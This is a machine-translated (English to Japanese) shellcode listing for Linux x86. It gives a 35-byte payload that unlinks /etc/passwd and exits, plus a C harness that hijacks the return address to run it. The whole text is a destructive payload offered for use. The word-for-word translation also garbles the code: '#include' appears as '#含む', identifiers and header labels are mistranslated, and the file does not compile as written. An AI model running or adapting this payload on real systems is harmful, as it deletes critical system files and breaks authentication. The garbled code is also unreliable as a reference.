このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - unlink(/etc/passwd) & 出口() - 35 bytes
/*
    unlink_passwd.c
    壇・綱領・公約: linux/x86
    Size: 35 bytes
    Author: $andman <n4mdn4s[4T]gmail.com>
*/

#含む <string.h>
#含む <stdio.h>
char 爆撃する[] =  "\xeb\x11"                 //jmp    8048073
                "\x5e"                     //pop    %esi
                "\x31\xc0"                 //xor    %eax,%eax
                "\x31\xc9"                 //xor    %ecx,%ecx
                "\x31\xd2"                 //xor    %edx,%edx
                "\xb0\x0a"                 //mov    $0xa,%al
                "\x89\xf3"                 //mov    %esi,%ebx
                "\xcd\x80"                 //int    $0x80
                "\xb0\x01"                 //mov    $0x1,%al
                "\xcd\x80"                 //int    $0x80
                "\xe8\xea\xff\xff\xff"     //call    8048062
                "\x2f"                          
                "\x65"                         
                "\x74\x63"                   
                "\x2f"                          
                "\x70\x61"                   
                "\x73\x73"                   
                "\x77\x64";   
               
int main()
{
  printf("Shellcode Length: %d\n",strlen(爆撃する));
  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)爆撃する;
}